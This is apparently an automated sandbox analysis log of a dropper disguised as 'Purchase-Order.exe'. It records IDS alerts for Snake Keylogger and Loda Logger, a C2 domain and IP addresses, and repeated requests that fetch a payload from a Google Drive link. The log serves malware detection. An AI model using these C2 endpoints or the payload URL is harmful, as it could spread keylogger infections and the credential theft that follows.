Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50287 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50310 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50376 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50378 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50411 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50437 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50446 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50451 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50459 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50486 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50495 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50501 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50502 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50506 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50508 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50520 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50521 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50529 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50530 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50536 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50538 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50548 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50552 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50551 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50559 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50570 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50571 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50575 version: TLS 1.2

Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D92044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00D92044
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D9219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00D9219F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D924A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00D924A9
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D86B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	8_2_00D86B3F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D86E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	8_2_00D86E4A
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8F350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00D8F350
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8FDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	8_2_00D8FDD2
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D5DD92 GetFileAttributesW,FindFirstFileW,FindClose,	8_2_00D5DD92
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8FD47 FindFirstFileW,FindClose,	8_2_00D8FD47

Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2822116 - Severity 1 - ETPRO MALWARE Loda Logger CnC Beacon : 192.168.2.4:49758 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.4:49758 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.4:49739 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2830912 - Severity 1 - ETPRO MALWARE Loda Logger CnC Beacon Response M2 : 172.111.138.100:5552 -> 192.168.2.4:49758
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49736 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49753 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49755 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49763 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49774 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49762 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49772 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49766 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49777 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49776 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49782 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49743 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49735 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49740 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49746 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49781 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49749 -> 142.250.186.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49767 -> 142.250.186.142:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View	IP Address: 172.111.138.100 172.111.138.100
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

ASN Name: VOXILITYGB VOXILITYGB

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D9550C InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

8_2_00D9550C

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
